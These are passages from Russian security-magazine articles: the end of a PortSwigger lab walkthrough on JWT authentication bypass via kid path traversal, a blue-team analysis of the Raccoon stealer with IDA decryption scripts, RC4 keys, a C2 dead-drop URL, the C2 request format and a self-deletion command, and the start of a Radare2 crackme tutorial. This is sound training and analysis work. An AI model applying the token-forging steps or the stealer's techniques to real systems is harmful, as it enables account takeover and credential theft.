   "k": "asGsADas3421-dfh9DGN-AFDFDbasfd8-anfjkvc"
}

Ес ли сер вер уяз вим к path traversal, то мож но в качес тве  ука зать путь

к пус тому фай лу . В качес тве под писи будет взя то его содер жимое,

а пос коль ку в этом фай ле ничего нет, то и для генера ции под писи пот ребу- 
ется толь ко пус тая стро ка вмес то пол ноцен ного клю ча. Этим может вос поль- 
зовать ся зло умыш ленник или мы — в новой лабора тории.

kid
/dev/null

Ëàáà: JWT authentication bypass via kid header path traversal
• Ла бора тор ная работа на сай те PortSwigger

От кры ваем лабора торию, аутен тифици руем ся от име ни тес тового поль- 
зовате ля и отправ ляем зап рос на откры тие лич ного кабине та в Repeater.
Выделя ем заголо вок и про буем экс плу ати ровать path traversal. Для это го
выходим из дирек тории, в которой находит ся при ложе ние, к самому кор ню
и ука зыва ем путь к . Сох раня ем изме нения./dev/null

Path traversal через параметр kid

Те перь нам нуж но под писать токен. Наше рас ширение JWT Editor не поз воля- 
ет под писывать JWT с помощью пус той стро ки. Одна ко из-за ошиб ки
это мож но обой ти, исполь зуя нулевой байт в кодиров ке Base64.

Пе рей дем на вклад ку JWT Editor, выберем New Symmetric Key, в появив- 
шемся окне наж мем Generate и заменим содер жимое перемен ной  нулевым

бай том в Base64. Это будет . Сох раним резуль тат.

k
AA==

INFO

Па раметр  на вклад ке JWT Editor обоз нача ет
сим метрич ный ключ, закоди рован ный в Base64,
который будет исполь зован для под писи.

k

Ну левой байт в Base64 в качес тве под писи

Вер немся в Repeater и перей дем на JSON Web Token:
из меним  на ;• kid ../../../../../../../../../dev/null

сме ним  на .• wiener administrator

И под пишем резуль тат толь ко что соз данным клю чом, «пус тотой»
или нулевым бай том.

Про цесс под писания токена JWT

От пра вим зап рос.

Ссыл ка на панель адми нис тра тора

Ре зуль тат показы вает, что мы ста ли адми нис тра тором. Записы ваем токен
в куку бра узе ра и уда ляем поль зовате ля carlos.

Уве дом ление об успешном про хож дении лабора тории

Мы прош ли пос леднюю прос тую лабора торию!
Ос тались толь ко экспертные.

Продолжение статьи →

https://portswigger.net/web-security/jwt/lab-jwt-authentication-bypass-via-kid-header-path-traversal
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ВЗЛОМ

В этой статье я покажу, как с помощью ути- 
литы INetSim эму лиро вать вза имо дей ствие
мал вари с управля ющим сер вером. Так же
рас смот рим работу заг рузчи ка, рас паку ем
основную наг рузку вре доно са и иссле дуем
схе му работы сти лера.

Мы будем раз бирать задание  с пло щад ки Cyber
Defenders. Уро вень задания — слож ный. В лабора тор ной работе тебе пот- 
ребу ется отве тить на ряд воп росов по ито гам про хож дения, одна ко при- 
водить отве ты мы не будем — если ты пов торишь про хож дение, то без тру да
отве тишь на всё сам.

UnPackMe Blue Team Lab

WARNING

Ана лиз вре донос ных фай лов необ ходимо про- 
водить в изо лиро ван ной сре де. О том, как соб- 
рать лабора торию для ана лиза вре доно сов, под- 
робно рас ска зано в статье «

».

Код под над зором.
Соз даем вир туаль ную лабора торию для ана лиза
мал вари

ÈÑÏÎËÜÇÓÅÌÛÅ ÓÒÈËÈÒÛ

1.  — прог рамма для опре деле ния типов фай лов.DIE
2.  — прог рамма для поис ка арте фак тов исполня емых фай лов.PeStudio
3.  — инте рак тивный дизас сем блер, исполь зуемый для реверс-инжи- 

нирин га.
IDA Pro

4.  — инс тру мент для ана лиза сетево го тра фика.Wireshark
5.  — плат форма, которая исполь зует ся в качес тве проз рачно го

прок си-сер вера для ана лиза вза имо дей ствия вре донос ного фай ла
по про токо лу HTTPS.

Burp Suite

6.  — опен сор сный отладчик для Windows, пред назна чен ный для ана- 
лиза вре донос ных прог рамм.
x64dbg

7.  — эму лятор работы с интерне том.INetSim

ÏÅÐÂÈ×ÍÛÉ ÀÍÀËÈÇ

По лучим пер вичную информа цию об иссле дуемом образце. Заг рузим файл
в DIE и выберем ана лиза тор Nauz File Detector.

Ин форма ция о фай ле

Ис сле дуемый обра зец соб ран для 32-раз рядных сис тем, раз работан на язы- 
ке C/C++ и ском пилиро ван в Microsoft Visual Studio. Получим энтро пию
исполня емо го фай ла по сек циям. Перей дем на вклад ку Entropy и опре делим
его показа тель.

Эн тро пия исполня емо го фай ла

Эн тро пия иссле дуемо го фай ла — 7,389, в сек ции  — самое высокое
зна чение. Зна чит, иссле дуемый файл упа кован.

.text

ÈÑÑËÅÄÓÅÌ ÇÀÃÐÓÇ×ÈÊ

Заг рузим файл в IDA и прис тупим к ана лизу. Точ ка вхо да ука зыва ет на фун- 
кцию , а основной поток выпол нения реали зован в фун кции

.

WinMain
sub_468480

Псев докод фун кции WinMain

Пе рей дем в дан ную фун кцию двой ным нажати ем и деком пилиру ем, нажав F5.

В фун кции  реали зова но получе ние адре са 

и выделе ние в куче памяти, рав ной дли не шелл-кода. Далее в фун кции
 выделен ному учас тку памяти наз нача ются пра ва

на выпол нение, чте ние и запись ( ) с помощью фун- 

кции . Сле дующим эта пом начина ется про цесс рас шифров ки
шелл-кода.

WrapGlobalAlloc GlobalAlloc

WrapVirtualProtect
PAGE_EXECUTE_READWRITE

VirtualProtect

Шиф рование сос тоит из пре обра зова ния клю ча и опе рации XOR.

Фун кция пре обра зова ния клю ча

Фун кция рас шифров ки шелл-кода

На чаль ное зна чение клю ча — . Для рас шифров ки шелл-кода мы
раз работа ем скрипт для IDA, на вход которо го переда дим адрес зашиф- 
рован ного шелл-кода, его раз мер, началь ное зна чение клю ча и имя фай ла
для сох ранения дан ных.

0xD5AF2F45

 import struct
 import idaapi

      HIWORD = lambda x: x >> 16

 def GenerateKey(key):
         key = (key * 0x343fd) & 0xffffffff
         key = (key + 0x269ec3) & 0xffffffff
    return key

 def DecryptShellcode(data,key):
     result = bytearray()
      for i in data:

         key = GenerateKey(key)
            k = HIWORD(key) & 0xFF

         result.append(i ^ k)
    return result

 def main(start,size,key,filename):
     w = open(filename,'wb')
     b = bytearray()
      for i in range(size):

           x = idaapi.get_byte(start + i)
       b.append(x)
     d = DecryptStage(b,key)
   w.write(d)
   w.close()

Рас шифро вывать будем в режиме отладки. Пос тавим точ ку оста нова на фун- 
кции  (горячая кла виша F2) и запус тим отладку (F9).

Двой ным нажати ем на перемен ную  получим адрес исполня емо го
кода, а его раз мер узна ем из перемен ной .

WrapDecryptShellcode
shellcode

size_shellcode
Заг рузим раз работан ный скрипт, для это го зай дем на вклад ку File → Script

File. В коман дной стро ке Python вызовем фун кцию .main

main(start=0x7B96E8,size=0x4e9d3,key=0xD5AF2F45,filename='stage01') 

Мы получи ли зна чение рас шифро ван ного исполня емо го кода. Заг рузим его
в IDA и про ведем ста тичес кий ана лиз. Получен ный шелл-код сос тоит из фун- 
кций получе ния адре сов исполь зуемых WinAPI и рас шифров ки основной наг- 
рузки.

Фун кция получе ния адре сов Windows API

Пре обра зуем деком пилиру емый код в чита емый вид. Для это го выберем
перемен ную , клик нем пра вой кноп кой мыши и выберем пункт Create Struct.
IDA сфор миру ет струк туру. Далее пере име новы ваем каж дое зна чение поля
(горячая кла виша N).

a1

Для получе ния фун кций WinAPI  и  из биб- 
лиоте ки  исполь зует ся хеширо вание. Из поля

 струк туры PEB про цес са счи тыва ются име на

динами чес ких биб лиотек. Из каж дого име ни вычис ляет ся зна чение хеша
и срав нива ется со зна чени ем . Такая же про цеду ра про изво дит ся

с име нами фун кций экспор та най ден ной динами чес кой биб лиоте ки.

LoadLibraryA GetProcAddress
kernel32.dll

InMemoryOrderModuleList

0xd4e88

Ал горитм хеширо вания пред став лен ниже.

 def ApiHashing(name_func,hashing):
     res = 0
      for i in name_func:

             v5 = (ord(i) | 0x60) & 0xff
             res = (res + v5) * 2

      if res == hashing:
        return True

    return False

Зна чение  соот ветс тву ет .0xd4e88 kernel32.dll

Фун кция рас шифров ки основной наг рузки

Про цесс получе ния основной наг рузки сос тоит из эта пов рас шифров ки
и разар хивиро вания.

Про цесс рас шифров ки и разар хивиро вания

Ал горитм рас шифров ки тот же, а вот алго ритм деком прес сии силь но
обфусци рован и содер жит мно жес тво перехо дов ( ). Рас паку ем нашу наг- 

рузку. Для это го в режиме отладки перехо дим к выпол нению шелл-кода
и находим фун кцию . Далее спус каем ся к выпол- 

нению фун кции , перехо дим на вклад ку Hex View (кла виша G) и вво дим

адрес, который хра нит ся в перемен ной . Раз мер получа ем из зна чения
перемен ной .

goto

DecryptUnpackShellcode
Unpack

data
unpack_size

Дам пим получен ный пос ле разар хивиро вания шелл-код с помощью IDA
API. Для это го перехо дим в коман дную обо лоч ку Python и вво дим сле дующую
коман ду:

   idc.savefile('path_filename', 0, address_shellcode, unpack_size)

Мы получи ли основную наг рузку, она пред став ляет собой шелл-код, задача
которо го — заг рузить методом Process Hollowing исполня емый файл и начать
выпол нение с его точ ки вхо да. Заг рузим получен ный файл в Hex-редак тор,
ско пиру ем дан ные, начиная с сиг натуры , и прис тупим к его ана лизу.MZ

Со дер жимое основной наг рузки

На этом эта пе мы с тобой рас пакова ли основную наг рузку, которая пред став- 
ляет собой исполня емый файл. Работа заг рузчи ка раз делена на нес коль ко
эта пов: сна чала рас шифро выва ется исполня емый код, основная задача
которо го — рас шифро вать и рас паковать шелл-код сле дующе го эта па.
Шелл-код сле дующе го эта па заг ружа ет в память исполня емый файл и про- 
дол жает выпол нение с его точ ки вхо да.

Схе ма работы заг рузчи ка

Продолжение статьи →

https://cyberdefenders.org/blueteam-ctf-challenges/unpackme/
https://xakep.ru/2021/11/02/malware-virtual-lab/
https://github.com/horsicq/Detect-It-Easy
https://www.winitor.com/
https://hex-rays.com/
https://www.wireshark.org/
https://portswigger.net/burp
https://github.com/x64dbg/x64dbg
https://www.inetsim.org/downloads.html
https://learn.microsoft.com/ru-ru/windows/win32/api/winbase/nf-winbase-globalalloc
https://learn.microsoft.com/ru-ru/windows/win32/Memory/memory-protection-constants
https://learn.microsoft.com/ru-ru/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress


УРОКИ ФОРЕНЗИКИ
ИЗУЧАЕМ ПОВЕДЕНИЕ СТИЛЕРА

ПРИ ПОМОЩИ INETSIM И IDA PRO

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÈÑÑËÅÄÓÅÌ ÎÑÍÎÂÍÓÞ ÍÀÃÐÓÇÊÓ

По лучим информа цию об исполня емом фай ле, для это го заг рузим его в ути- 
литу DIE.

Ин форма ция об основной наг рузке

Ос новная наг рузка раз работа на на C/C++, ском пилиро вана в Microsoft Visual
Studio и соб рана для 32-раз рядных сис тем. Заг рузим файл в IDA и прис тупим
к ста тичес кому ана лизу. Код вре доно са силь но обфусци рован, и граф потока
выпол нения очень боль шой.

По ток выпол нения фун кции main

Все стро ки, исполь зуемые в про цес се работы модуля, зашиф рованы
при помощи XOR с одно бай товым клю чом. Давай наб роса ем скрипт для IDA,
который будет рас шифро вывать стро ки.

 def decrypt_str(data):
     result = ''
       key = data & 0xff
       data = data >> 8
      while data > 0:

             result += chr(~((data & 0xff) ^ key)&0xff)
           data = data >> 8

    return result

На пер вом эта пе модуль про веря ет, запущен ли в сис теме экзем пляр,
с помощью фун кции .OpenMutexA

Фун кция про вер ки мьютек са

В коман дной стро ке Python запус тим фун кцию рас шифров ки наз вания
мьютек са:

decrypt_str(0xBABCABAFACA4B832)

Имя мьютек са фор миру ется из кон стантно го зна чения , сло жен- 

ного с име нем поль зовате ля. Если мьютекс с таким наз вани ем сущес тву ет,
модуль прек раща ет свою работу.

uiabfqwfu

Да лее модуль с помощью фун кции  узна ёт, какие в сис теме
уста нов лены язы ки. Если при сутс тву ет язык из опре делен ного спис ка (в него
вхо дит рус ский), то модуль прек раща ет работу.

GetLocaleInfoA

Срав нение уста нов ленно го язы ково го стан дарта

Сле дом начина ется про цесс вза имо дей ствия с управля ющим сер вером.
Адрес C2-сер вера зашиф рован алго рит мом RC4 и закоди рован в Base64.

За шиф рован ное зна чение RC4-клю ча

Рас шифру ем ключ, который хра нит ся в перемен ной .RC4_KEY

decrypt_str(0x9498D7AB8CAEB2808B9A8E9DDCB4CA11) 

Ключ шиф рования —  для алго рит ма RC4.$Z2s'ten\@bE9vzR
Рас шифру ем адрес управля юще го сер вера, для это го вос поль зуем ся ути- 

литой .CyberChef

Рас шифро вание управля юще го сер вера

Мы получи ли адрес управля юще го сер вера:

https://tttttt.me/ch0koalpengold 

Âçàèìîäåéñòâèå ñ óïðàâëÿþùèì ñåðâåðîì
При обра щении к управля юще му сер веру 

 иссле дуемый обра зец получа ет адрес основно го сер вера

C2. Адрес рас положен в бло ке , содер жащем сле дующие атри буты.

https://tttttt.me/
ch0koalpengold

div

Зна чение атри бута

Ос новной адрес управля юще го сер вера зашиф рован алго рит мом RC4. Ключ:

6af7fae138b9752d1d76736dcb534c9d 

Шиф рование основно го адре са управля юще го сер вера

При обра щении к основно му адре су управля юще го сер вера иссле дуемый
обра зец получа ет кон фиг, зашиф рован ный алго рит мом RC4 с клю чом

.$Z2s'ten\@bE9vzR
Прис тупим к нас трой ке INetSim. Откры ваем файл  вот

по такому пути:
sample.html

/var/lib/inetsim/http/fakefiles/sample.html 

И добав ляем блок  с перечис ленны ми выше атри бута ми. Зна чение

 зашиф ровано алго рит мом RC4 с клю- 

чом . В зашиф рован ную стро ку добав- 
лены сим волы, которые уда ляют ся в про цес се рас шифров ки.

div
gzWH3jR7snsUFO5aZbvXyda3vfp8cjiu

6af7fae138b9752d1d76736dcb534c9d

Со дер жимое фай ла sample.html

В катало ге  соз дадим файл 

, содер жащий зашиф рован ные нас трой ки.

/var/lib/inetsim/http/fakefiles config.
json

За шиф рован ные нас трой ки

{
   "_id":"123",
   "au":"files/",
   "ip":"10.10.10.1",
   "location":{"country":"qwe","country_code":"qwe","state":null,
"state_code":null,"city":null,"zip":null},
   "c":{"m":null,"lu":null},
   "lu":null,
   "rm":1,
   "is_screen_enabled":1,
   "is_history_enabled":0,
   "depth":3
}

Этот кон фиг получен в резуль тате ста тичес кого ана лиза кода и нужен
для работы образца. Параметр  содер жит URL для заг рузки биб лиоте ки

, парамет ры  и  — информа цию о сетевом адре се

заражен ной машины, параметр  необ ходим для получе- 
ния сним ка рабоче го сто ла, а параметр  нужен на слу чай, если пот ребу ется

уда лить себя пос ле окон чания сбо ра информа ции.

au
sqlite3.dll ip location

is_screen_enabled
rm

Так же в каталог  заг рузим файл
.

/var/lib/inetsim/http/fakefiles
sqlite3.dll

В фай ле  в бло ке 

добавим ста тич ные URL.

/etc/inetsim/inetsim.conf https_static_fakefile

Кон фигура ция INetSim

Каж дый раз, ког да мал варь обра щает ся к адре сам с подс тро кой ,

заг ружа ется файл  (кон фигура ция модуля), а при откры тии 

 — биб лиоте ка sqlite3.dll.

/config/
config.json /

config/files/
Пе реза пус тим ути литу INetSim.

sudo inetsim 

Прис тупим к динами чес кому ана лизу иссле дуемо го образца. При динами чес- 
кой отладке не забывай обхо дить про вер ку язы ково го стан дарта, если в тво- 
ей вир туал ке уста нов лен рус ский язык.

По лучив основной адрес управля юще го сер вера, вре донос ный файл
начина ет уста нав ливать свое пер вое соеди нение.

Пер вичное соеди нение с управля ющим сер вером

Зна чения в POST-зап росе сфор мирова ны сле дующим обра зом:

b=<MachineGuid>_<User>&c=c021300d0074689fde86c87568e215c582272721&
f=json 

Па раметр  опи сыва ет иден тифика тор заражен ной машины, который фор- 
миру ется из име ни поль зовате ля сис темы и зна чения  клю ча

реес тра:

b
MachineGuid

HKLM:\SOFTWARE\Microsoft\Cryptography\MachineGuid 

В парамет ре  ука зано кон стантное зна чение. Сфор мирован ная стро ка шиф- 

рует ся по алго рит му RC4 с клю чом . В ответ от сер вера
управле ния при ходит кон фигура ция модуля.

c
$Z2s'ten\@bE9vzR

Для работы фун кции сбо ра дан ных из бра узе ров вре доно су необ ходима
динами чес кая биб лиоте ка . Параметр  в кон фиге ука зыва ет

на URL, по которо му мал варь может получить эту биб лиоте ку.

sqlite3.dll au

Заг рузка sqlite3.dll

Ñáîð èíôîðìàöèè î ñèñòåìå
Ра бочий каталог вре донос ного фай ла:

C:\User\<User>\AppData\LocalLow 

В этот каталог заг ружа ются допол нитель ные модули, а так же соб ранные фай- 
лы из сис темы.

Фун кция сбо ра находит ся по сме щению  (в моем слу чае фун кция
), для перехо да к коду необ ходимо на вклад ке Function ввес ти

зна чение сме щения. На эта пе сбо ра дан ных о сис теме иссле дуемый обра зец
фор миру ет файл  в рабочей дирек тории.

454A
sub_56454A

System Info.txt

Со дер жимое фай ла System Info.txt

Со дер жимое фай ла :System Info.txt
Стро ка  опи сыва ет вер сию вре донос ного фай ла,
это зна чение зашиф ровано алго рит мом шиф рования строк.

• Raccoon | 1.7.3

 уста нов лена в виде кон стан ты и ука зыва ет на дату
ком пиляции фай ла.

• Build compile date

 содер жит дату и вре мя запус ка.• Launched at

В бло ке  соб рана информа ция об име ни хос та,
вре мен ной зоне, уста нов ленном в сис теме язы ке, про цес соре, объ еме
опе ратив ной памяти и дис пле ях.

• System Information

В бло ке  соб рана информа ция об уста нов ленных при- 
ложе ниях, дан ный спи сок получен из клю ча реес тра 

.

• Installed Apps

SOFTWARE\

Microsoft\Windows\CurrentVersion\Uninstall

Ес ли в кон фиге, получен ном с управля юще го сер вера, есть зна чение
, дела ется сни мок рабоче го сто ла поль зовате ля. Фун- 

кция соз дания скрин шота рас положе на по сме щению .

is_screen_enabled:1
951B

Фун кция соз дания сним ка рабоче го сто ла поль зовате ля

Пос ле зах вата экра на рас тро вое изоб ражение сох раня ется в рабочую дирек- 
торию с име нем .screen.jpeg

Пос ле сбо ра всей информа ции с хос та в рабочей дирек тории соз дает ся
ZIP-архив. Имя фай ла берет ся из парамет ра  в кон фиге, получен ном с C2._id

От прав ка соб ранных дан ных

Со дер жимое архи ва дан ных

Ес ли зна чение парамет ра  — «исти на», то вре донос ный файл начина ет

про цесс само уда ления. Фун кция уда ления рас положе на по сме щению .

rm
5D47

Фун кция само уда ления

В перемен ной  фор миру ется коман да для уда ления сле дов при сутс твия

мал вари в сис теме. Давай рас шифру ем зна чение.

cmd

decrypt_
str(0x8FD1DE98D1DE929BBADED8DE928BB0DEC0DEB5BFBBACBCB1B0D1DECECFDEAAD
1DE8A8B919B93978ADEBDD1DE9B869BD09A939D01) 

Вот что получи лось:

cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q 

Так же при пер вичном ана лизе исполня емо го фай ла я нашел пол ный путь
к катало гу сбор ки на компь юте ре зло умыш ленни ка:

A:\_Work\rc-build-v1-exe\ 

ÂÛÂÎÄÛ

Эта лабора тория помог ла нам научить ся эму лиро вать работу управля юще го
сер вера с помощью ути литы INetSim. Мы разоб рали механизм работы сти- 
лера, задачей которо го была кра жа крип токошель ков, фай лов cookie,
паролей от бра узе ров и поч товых сер веров и мно гого дру гого. Мы изу чили
работу заг рузчи ка и рас пакова ли основную наг рузку, а так же написа ли скрип- 
ты для IDA и пот рениро вались в про веде нии ста тичес кого и динами чес кого
ана лиза вре донос ных фай лов.

https://learn.microsoft.com/ru-ru/windows/win32/api/synchapi/nf-synchapi-openmutexw
https://learn.microsoft.com/ru-ru/windows/win32/api/winnls/nf-winnls-getlocaleinfoa
https://gchq.github.io/CyberChef/


Юрий "yurembo" Язев
Программист, разработчик

видеоигр, независимый
исследователь

t2d-dev.ru

ВЗЛОМ

Се год ня я покажу тебе нес коль ко при емов
обра щения с Radare2 — мощ ным фрей- 
мвор ком для обратной раз работ ки. Мы
выведа ем скры тый в прог рамме пароль,
для чего научим ся извле кать из исполня- 
емых фай лов струк туриро ван ную информа- 
цию и кон верти ровать получа емые зна- 
чения. Затем изме ним исполня емый файл
и выпол ним недос тупную при кор рек тном
поведе нии фун кцию.

Уп ражнять ся мы будем на crackme, которую я написал спе циаль но
для демонс тра ции. Ска чать файл ты можешь с . Все дей ствия мы
будем про водить в Debian Linux.

мо его GitHub

В статье «
» мы уже начали иссле довать этот

исполня емый файл. При запус ке он откры вает сокет и начина ет слу шать
порт 14884. Если под клю чить ся к это му сокету при помощи netcat, то мож но
уви деть приг лашение для вво да име ни поль зовате ля или пароля. Если ввес ти
невер ный пароль, сеанс завер шится.

Radare2 с самого начала. Учим ся исполь зовать опен сор сный
фрей мворк для ана лиза при ложе ний в Linux

Ис поль зуя основные воз можнос ти Radare2, мы выяви ли в прог рамме фун- 
кции , , , , 

и нес коль ко дру гих. В  есть пять локаль ных перемен ных, а так- 

же вызов фун кции с говоря щим наз вани ем , которой в качес- 
тве единс твен ного аргу мен та переда ется зна чение перемен ной .

main authenticate check_username check_password start_server
authenticate

check_username
fd

Это кра еуголь ная фун кция в защит ном механиз ме, пос коль ку из нее
вызыва ются некото рые дру гие весь ма важ ные и не всег да отно сящи еся
к про цеду ре логина фун кции. На оче реди — извле чение пароля. Но даже ког- 
да мы рас кусим защит ный механизм, у нас будет воз можность копать этот
кряк мис в глу бину. Мы изме ним его код, что бы выпол нение прог раммы шло
по той вет ви, резуль таты выпол нения которой нам нуж ны.

ÐÀÑÏÎÇÍÀÍÈÅ ÈÌÅÍÈ ÏÎËÜÇÎÂÀÒÅËß

Ди зас сем бли рован ная фун кция check_username

В фун кции  дес крип тор сокета, передан ный в аргу мен те,

помеща ется в перемен ную . Далее с помощью биб лиотеч ной фун кции
 готовит ся буфер памяти:  запол няет ся нулями, затем в него

с помощью фун кции  чита ется поль зователь ский ввод из сокета,

на который ука зыва ет . То есть чита ется как бы с уда лен ного устрой- 
ства.

check_username
fildes

memset src
read

fildes

Даль ше в кон соль на сто роне сер вера фун кция  выводит стро ку 

, потом в нее же с помощью  вылива ется содер- 
жимое буфера , содер жащего вве ден ное имя поль зовате ля. Далее воз- 

вра щен ный фун кци ей  резуль тат срав нива ется с . Если равенс тво

вер но, выводит ся сооб щение об ошиб ке, если же воз вра щен ное зна чение
не рав но  (ноль или положи тель ное зна чение), то выпол няет ся переход

на стро ку . Здесь про исхо дит вывод сим вола кон ца стро ки — .

printf [+]
Reading username fputs

src
fputs -1

-1
0x1605 \n

Пос ле это го готовят ся парамет ры для вызова биб лиотеч ной фун кции
. Она копиру ет имя поль зовате ля  в новую область памяти — .

Далее в стро ке со сме щени ем  в перемен ную  копиру ется

зна чение . В ком мента рии рядом Radare2 оста вил мет ку, зак- 

лючен ную в оди нар ные кавыч ки, — :

strcpy src dest
0x1628 var_420h

0x6262616a
jabb

mov dword [var_420h], 0x6262616a ; 'jabb' 

По мне нию Radare2, это шес тнад цатерич ное чис ло — набор букв в кодиров ке
UTF-8, исполь зуемой в боль шинс тве дис три бути вов Linux. Доверяй, но про- 
веряй! В коман дную стро ку под дизас сем бли рован ным лис тингом фун кции
вве ди

? 0x6262616a 

Ни же появит ся спи сок, в котором ука зан ное зна чение будет кон верти рова но
в раз ные типы дан ных.

При веде ние чис ла 0x6262616a к раз ным типам дан ных

Нас инте ресу ет тип . Нап ротив него мы видим стро ку , что и тре- 
бова лось доказать.

string jabb

Не вер но вве ден ное имя поль зовате ля

Вер немся в фун кцию . Стро кой ниже ( ) мы видим, что

в перемен ную  помеща ется сим вол , пока непонят но для чего.
Сно ва про мота ем лис тинг к началу фун кции, где рас положе ны ком мента рии
о перемен ных:

check_username 0x1632
var_21ch a

... 
; var int64_t var_41ch @ rbp-0x41c 
; var int64_t var_420h @ rbp-0x420 
... 

Нас инте ресу ют эти две перемен ные. Теперь пос мотрим на код прис воения
им зна чений:

 mov dword [var_420h], 0x6262616a ; 'jabb'
 mov word [var_41ch], 0x61   ; 'a'

Ис тина где-то рядом. В UTF-8 сим вол может занимать от одно го до четырех
бай тов, одна ко латин ские сим волы, которые мы видим в лис тинге, никог да
не пре выша ют одно го бай та. Таким обра зом, зна чение  —

это четыре бай та, что под твержда ет раз мер при емни ка — двой ное сло во,
dword.

0x6262616a

Так же вспом ним, что в сте ке перемен ные кла дут ся от стар ших адре сов
к млад шим (стек рас тет свер ху вниз). Поэто му, что бы най ти раз мер перемен- 
ной , надо из адре са ее рас положе ния вычесть адрес рас положе ния

сле дующей перемен ной:

var_420h

0x420 – 0x41C = 4 байта 

Это раз мер перемен ной , что тре бова лось под твер дить. Перемен- 

ные рас полага ются впри тык друг к дру гу. Ско рее все го, в исходном коде
на язы ке высоко го уров ня допол нитель ной перемен ной не сущес тву ет. Ее
для удобс тва нарисо вал Radare2 во вре мя дизас сем бли рова ния, потому что
для копиро вания точ но пяти бай тов спо соба не сущес тву ет. Отсю да сле дует,
что в перемен ной  находит ся стро ка .

var_420h

var_420h jabba

Есть кон такт: логин верен, оста лось выудить пароль

Пос мотрим, что тво рит ся в фун кции даль ше, начиная со стро ки со сме щени- 
ем . Здесь готовят ся парамет ры — оче вид но, для переда чи в фун- 
кцию: берут ся ука зате ли на перемен ные  и . Пом нишь, что

находит ся в пос ледней? Пра виль но, копия зна чения, которое рань ше ввел
поль зователь. И эти две стро ки переда ются в фун кцию .

0x163b
var_420h dest

compare_username

Ди зас сем бли рован ная фун кция compare_username

Эта фун кция сов сем корот кая, мы ее раз берем в два сче та! Аргу мен ты-стро- 
ки перек ладыва ются в перемен ные: вве ден ная поль зовате лем стро ка —
в ,  — в . При этом для перемен ных сра зу выделя ется память

с запасом: по восемь бай тов, qword.

src jabba s2

Да лее в кон соль на сто роне сер вера выводит ся стро ка «[–] Comparing
username». Затем стро ка  копиру ется в область памяти . Этот трюк

нужен для сня тия со стро ки модифи като ра . То есть на новую копию

стро ки он не вли яет.

src dest
const

Пос ле это го стро ки под готав лива ются для переда чи в биб лиотеч ную фун- 
кцию , которая, как извес тно, слу жит для срав нения строк. Она воз вра- 

щает 0, ког да передан ные стро ки оди нако вы, 1, ког да пер вая стро ка боль ше
вто рой, и -1, ког да вто рая боль ше пер вой. Раз мерность строк в дан ном слу- 
чае зависит от кодов пер вых отли чающих ся сим волов.

strcmp

Пос ле воз вра та из фун кции  с помощью инс трук ции  про веря- 

ется зна чение в регис тре EAX, в котором воз вра тил ся резуль тат. Если
это зна чение не рав но нулю, то есть стро ки не рав ны, выпол няет ся переход
на коман ду, где регис тру EAX (в нем будет воз вра щен резуль тат выз вавшей
фун кции) прис ваивает ся 0. Ког да стро ки рав ны (в EAX ноль), пос ле 
в регистр EAX помеща ется еди ница.

strcmp test

test

Ког да в EAX будет ноль или еди ница, выпол нение прог раммы воз вра щает- 
ся в фун кцию . И выпол нение про дол жает ся со стро ки

, где нас под жида ет . Здесь все наобо рот: если 0 —

стро ки нерав ны, на сер верной кон соли выводит ся ; если 1,

то стро ки рав ны, выводит ся .

check_username
0x1654 test eax, eax

[+] Wrong user
[+] Username is correct

Пос ле вывода сооб щения о том, что юзер нейм кор рек тный, в регистр EAX
записы вает ся еди ница для воз вра та и выпол няет ся безус ловный переход
в конец фун кции, на инс трук ции  и .leave ret

Ес ли юзер нейм невер ный, пос ле вывода стро ки «Wrong user» с помощью
инс трук ции  прог рамма срав нива ет зна чение перемен ной  и ноль.

Они никог да не будут рав ны! Ведь перемен ная  всег да содер жит дес- 

крип тор сокета. Если же она содер жит ноль, зна чит, где-то рань ше про изош- 
ла ошиб ка и досюда дело не дой дет.

CMP fildes
fildes

Та ким обра зом, сле дующее усло вие ( ) всег да выпол няет ся,

регис тру EAX прис ваивает ся ноль, и про исхо дит выход из фун кции, при этом
во вре мя выпол нения прог раммы никог да не будет выз вана фун кция .

В нее переда ются  — вве ден ная поль зовате лем стро ка и  — дес- 

крип тор сокета. Код про тиво речит сам себе: если выпол нение прог раммы
каким-то обра зом дой дет досюда, дес крип тор сокета будет нулевой!

jne 0x169d

secret
dest fildes

Лад но, оста вим фун кцию  на десерт, сей час про дол жим занимать- 

ся глав ным блю дом.

secret

Êîììåíòèðóåì ëèñòèíã äèçàññåìáëåðà
Ес ли тебе при ходи лось работать с IDA Pro, то навер няка при изу чении лис- 
тингов ты оставлял в них ком мента рии, что бы потом быс тро вспом нить, что
про исхо дит в коде. В Radare2 тоже мож но соз давать ком мента рии. Для это го
исполь зует ся коман да  с таким син такси сом:CC

CC [комментарий] [@смещение/адрес] 

Еще раз обра тим ся к , что бы оста вить в ней след — наш ком- 
мента рий.

check_username

Ос тавим ком мента рий в под чер кну той стро ке

В коман дной стро ке Radare2 вве ди коман ду

CC full username: jabba @0x163b 

Пос ле это го зап роси дизас сем блер ный лис тинг фун кции еще раз:

pdf @ sym.check_username 

Ты уви дишь изме нения.

Ком мента рий

Мы наконец можем покинуть фун кцию  и вер нуть ся

в . На этом мес те можешь сде лать перерыв: при нять душ,
погулять с собакой, попить газиров ку из Чер ноголов ки и, глав ное, дать моз- 
гам отдых. В нашем деле это очень важ но.

check_username
authenticate

ÐÀÑÏÎÇÍÀÂÀÍÈÅ ÏÀÐÎËß

На деюсь, ты хорошо отдохнул и готов с нами выг рызать пароль. Напом ню, мы
сей час находим ся в фун кции , сра зу пос ле вызова

, в стро ке со сме щени ем . Здесь с помощью инс трук- 

ции  про веря ется воз вра щен ное зна чение.

authenticate
check_username 0x181f

test
Ес ли в регис тре EAX находит ся ноль (что быва ет, ког да имя вве дено

невер но), выпол няет ся переход в конец фун кции, соот ветс твен но,
 в этом слу чае тоже воз вра щает ноль. Если же в регис тре EAX

еди ница, то с помощью инс трук ции  выпол няет ся условный переход
на стро ку . В кон соли на сто роне кли ента выводит ся стро ка

«Password:», затем вызыва ется фун кция , ей переда ется дес- 

крип тор сокета.

authenticate
jne

0x182a
check_password

Ди зас сем бли рован ная фун кция check_password

Ар гумент перек ладыва ется в перемен ную , а про чие инс трук ции

из этой фун кции похожи на рас смот ренные рань ше ана логи: под готав лива- 
ется буфер памяти, в него чита ются дан ные из сокета, а в сер верную кон соль
выводит ся .

fildes

[+] Reading password
Даль ше про исхо дит все самое инте рес ное. В перемен ную  помеща ется

